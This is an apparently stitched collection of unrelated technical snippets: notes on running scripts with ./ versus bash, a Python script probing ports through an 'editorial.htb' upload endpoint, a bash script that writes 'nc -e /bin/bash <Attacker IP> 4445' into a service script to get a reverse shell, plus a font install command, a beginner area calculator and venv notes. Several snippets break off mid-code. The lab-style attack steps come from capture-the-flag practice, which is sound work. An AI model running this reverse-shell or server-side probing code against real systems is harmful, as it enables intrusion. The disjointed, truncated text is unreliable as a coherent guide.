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Running a script with ./ or bash involves different ways of executing the script, which can have implications for the environment and the way the script is processed. Here’s a detailed comparison:

Running a Script with ./

When you run a script using ./script.sh, you are telling the shell to execute the script file directly. This requires the script to:

1. Have Execute Permissions: The script file must be executable. You can set this with chmod +x script.sh.
2. Specify the Interpreter: The first line of the script should specify the interpreter to be used (e.g., #!/bin/bash for a bash script, #!/usr/bin/env python3 for a Python script). This is known as the shebang line.

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import requests

# List of ports to test
ports = [80, 8080, 8000, 6666, 8081, 5000]

# URL and headers for the POST request
url = "http://editorial.htb/upload-cover"
headers = {
    "Host": "editorial.htb",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",

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#!/bin/bash

# Create npcd script
echo "#!/bin/bash" > /tmp/npcd
echo "nc -e /bin/bash <Attacker IP> 4445" >> /tmp/npcd

# Grant executable permissions on the npcd script
chmod +x /tmp/npcd 2>/dev/null

# Stop the npcd service

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#!/bin/bash

sudo apt install fonts-noto-color-emoji && sudo reboot

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print("Shapes:")
print("1. Square\n2. Rectangle\n3. Triangle\n4. Circle")

while True:
    shape = int(input("What shape do you want? "))

    if shape in [1, 2, 3, 4]:
        if shape == 1:
            side = float(input("Enter side: "))
            print(f"Area of a Square is equal to {side * side}")

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Python venv (Virtual Environment) is a tool that comes bundled with Python 3.3 and later versions. It allows you to create isolated environments for Python projects.

To create a virtual environment you need to use the python venv module

python3.9 -m venv myenv

We need to need to activate the environment variable so that when we run Python or install packages, it happens within the virtual environment.